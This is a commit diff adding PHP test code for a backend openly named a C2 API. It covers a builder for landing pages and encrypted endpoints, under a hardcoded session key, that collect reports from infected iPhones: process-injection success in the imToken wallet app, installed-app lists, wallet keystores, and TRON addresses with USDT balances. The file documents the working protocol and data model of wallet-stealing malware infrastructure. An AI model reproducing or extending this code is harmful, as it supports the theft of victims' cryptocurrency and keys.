feat: xxbb
This commit is contained in:
@@ -27,6 +27,8 @@ class ChannelProjectServiceTest extends TestCase
|
||||
'coruna.channel_builder.python' => 'python3',
|
||||
'coruna.channel_builder.artifact_root' => storage_path('app/channel-artifacts-test'),
|
||||
'coruna.channel_builder.timeout' => 30,
|
||||
'coruna.channel_builder_new.python' => 'python3',
|
||||
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
|
||||
'coruna.channel_domains' => ['fallback.test'],
|
||||
]);
|
||||
}
|
||||
@@ -325,5 +327,174 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$this->assertDatabaseHas('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertSame([], $channel->domains ?? []);
|
||||
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
|
||||
$this->assertNull($channel->channel_name);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_builder_with_channel_name(): void
|
||||
{
|
||||
$name = 'abcd1234';
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_name' => $name,
|
||||
'weifile_path' => '/source/'.$name.'/index.html',
|
||||
'support_path' => '/source/'.$name.'/index.html',
|
||||
'daily_path' => '',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
'test',
|
||||
null,
|
||||
null,
|
||||
Channel::BUILDER_NEW,
|
||||
$name,
|
||||
);
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertSame($name, $result['channel_name']);
|
||||
$this->assertSame('/source/'.$name.'/index.html', $result['weifile_path']);
|
||||
$this->assertSame('/source/'.$name.'/index.html', $result['support_path']);
|
||||
|
||||
Process::assertRan(function ($process) use ($name) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, $name)
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID)
|
||||
&& str_contains($joined, '--scheme')
|
||||
&& str_contains($joined, '--apply')
|
||||
&& str_contains($joined, '--force');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_rejects_mismatched_seeds(): void
|
||||
{
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
|
||||
|
||||
app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
'test',
|
||||
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
Channel::BUILDER_NEW,
|
||||
'abcd1234',
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_channel_name_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'abcd1234',
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([
|
||||
'https://channel.test/source/abcd1234/index.html',
|
||||
], $channel->supportLinks());
|
||||
$this->assertSame('/source/abcd1234/index.html', $channel->landingPath());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_persists_channel_name_and_returns_weifile_path(): void
|
||||
{
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => '/placeholder/placeholder.html',
|
||||
'support_path' => '/placeholder/placeholder.html',
|
||||
'daily_path' => '',
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$response = $this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW);
|
||||
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', (string) $channel->channel_name);
|
||||
$this->assertSame(
|
||||
'/source/'.$channel->channel_name.'/index.html',
|
||||
$channel->landingPath()
|
||||
);
|
||||
$this->assertSame($channel->channel_name, $response->json('data.channel_name'));
|
||||
$this->assertSame($channel->landingPath(), $response->json('data.weifile_path'));
|
||||
|
||||
Process::assertRan(function ($process) use ($channel) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& str_contains($joined, $channel->channel_name)
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID);
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function destroy_new_builder_deletes_channel_name_tree(): void
|
||||
{
|
||||
Process::fake([
|
||||
'*' => Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([
|
||||
'status' => 'deleted',
|
||||
'removed' => true,
|
||||
])."\n"),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'abcd1234',
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->delete(route('admin.channels.destroy', $channel))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'delete_channel.py')
|
||||
&& str_contains($joined, 'abcd1234')
|
||||
&& ! str_contains($joined, 'delete_channel_web.py');
|
||||
});
|
||||
$this->assertDatabaseMissing('channels', ['id' => $channel->id]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function random_channel_name_is_unique_and_not_reserved(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'channel_name' => 'taken123',
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$name = Channel::randomChannelName();
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{8}$/', $name);
|
||||
$this->assertNotSame('taken123', $name);
|
||||
$this->assertFalse(Channel::isReservedChannelName($name));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,198 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Services\CorunaCrypto;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class XxbbC2ApiTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function xxbbCrypto(): CorunaCrypto
|
||||
{
|
||||
return new CorunaCrypto('Ek8pl31K2yeHgQwy');
|
||||
}
|
||||
|
||||
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
||||
{
|
||||
$enc = $this->xxbbCrypto()->encryptJson($payload, $ts);
|
||||
|
||||
return $this->call('POST', $path, [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_X_TS' => $ts,
|
||||
], $enc['body']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function vhx_returns_plain_ok(): void
|
||||
{
|
||||
$this->get('/vhx')->assertOk()->assertSee('ok');
|
||||
$this->call('HEAD', '/vhx')->assertOk();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function iptj_records_page_visit(): void
|
||||
{
|
||||
Cache::flush();
|
||||
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
|
||||
|
||||
$this->call('POST', '/api/iptj', [], [], [], [
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_USER_AGENT' => $ua,
|
||||
], json_encode([
|
||||
'channelCode' => '56885688',
|
||||
'deviceVersion' => 'iOS 16.6',
|
||||
'domain' => 'xxbb.tv',
|
||||
]))->assertOk();
|
||||
|
||||
$row = PageVisit::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('56885688', $row->channel_id);
|
||||
$this->assertSame('xxbb.tv', $row->client_uid);
|
||||
$this->assertSame('xxbb.tv', $row->path);
|
||||
$this->assertSame('iOS', $row->os);
|
||||
$this->assertSame('16.6', $row->os_version);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_does_not_create_device(): void
|
||||
{
|
||||
$this->xxbbPost('/a', [
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
||||
])->assertOk()->assertSee('1786468227899{}', false);
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function event_creates_device_and_log(): void
|
||||
{
|
||||
$this->xxbbPost('/event', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'f' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'et' => 'injection_success',
|
||||
'desc' => 'Process injection succeeded',
|
||||
'ctx' => ['bundleId' => 'im.token.app'],
|
||||
'm' => 'iPhone12,8',
|
||||
'pv' => '16.6',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('iPhone12,8', $device->device_model);
|
||||
$this->assertSame('16.6', $device->ios_version);
|
||||
$this->assertSame('202700cfb1ad3de68e11239dcc26c30b', $device->channel_id);
|
||||
|
||||
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($ev);
|
||||
$this->assertSame('injection_success', $ev->event_name);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function apps_ingests_al(): void
|
||||
{
|
||||
$this->xxbbPost('/u', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'v' => '16.6',
|
||||
'al' => [
|
||||
['a' => 'imToken', 'b' => 'im.token.app', 'v' => '2.21.0'],
|
||||
],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
|
||||
$this->assertNotNull($app);
|
||||
$this->assertSame('imToken', $app->name);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function uj_stores_keystore_from_json_string(): void
|
||||
{
|
||||
$this->xxbbPost('/uj', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b',
|
||||
'result' => json_encode([
|
||||
'crypto' => ['cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef'],
|
||||
]),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($ks);
|
||||
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ub_ingests_ba_json_string(): void
|
||||
{
|
||||
Http::fake([
|
||||
'*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$this->xxbbPost('/ub', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'a' => 'b1',
|
||||
'ba' => json_encode([
|
||||
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
||||
[
|
||||
'decimal' => '6',
|
||||
'symbol' => 'USDT',
|
||||
'chainType' => 'TRON',
|
||||
'balance' => '0',
|
||||
],
|
||||
[
|
||||
'decimal' => '6',
|
||||
'symbol' => 'TRX',
|
||||
'chainType' => 'TRON',
|
||||
'balance' => '0',
|
||||
],
|
||||
],
|
||||
]),
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$addr = WalletAddress::query()
|
||||
->where('device_id', $device->id)
|
||||
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
||||
->first();
|
||||
$this->assertNotNull($addr);
|
||||
$this->assertSame('TRON', $addr->chain_type);
|
||||
$this->assertSame('imToken', $addr->source);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function lab_timestamp_header_does_not_decrypt_xxbb_body(): void
|
||||
{
|
||||
$enc = $this->xxbbCrypto()->encryptJson([
|
||||
'd' => '000C30D83CD0402E',
|
||||
'et' => 'heartbeat',
|
||||
], '1786468227899');
|
||||
|
||||
$this->call('POST', '/event', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => '1786468227899',
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
||||
}
|
||||
}
|
||||
@@ -48,4 +48,15 @@ class CorunaCryptoTest extends TestCase
|
||||
$this->assertSame($crypto->sessionKey().'0', $crypto->archivePassword('0'));
|
||||
$this->assertSame($crypto->sessionKey().'1722585600000', $crypto->archivePassword('1722585600000'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_session_key_round_trip(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto('Ek8pl31K2yeHgQwy');
|
||||
$this->assertSame('Ek8pl31K2yeHgQwy', $crypto->sessionKey());
|
||||
$payload = ['d' => '000C30D83CD0402E', 'et' => 'heartbeat'];
|
||||
$ts = '1786468227899';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
$this->assertSame($payload, $crypto->decryptJsonBody($enc['body'], $ts));
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user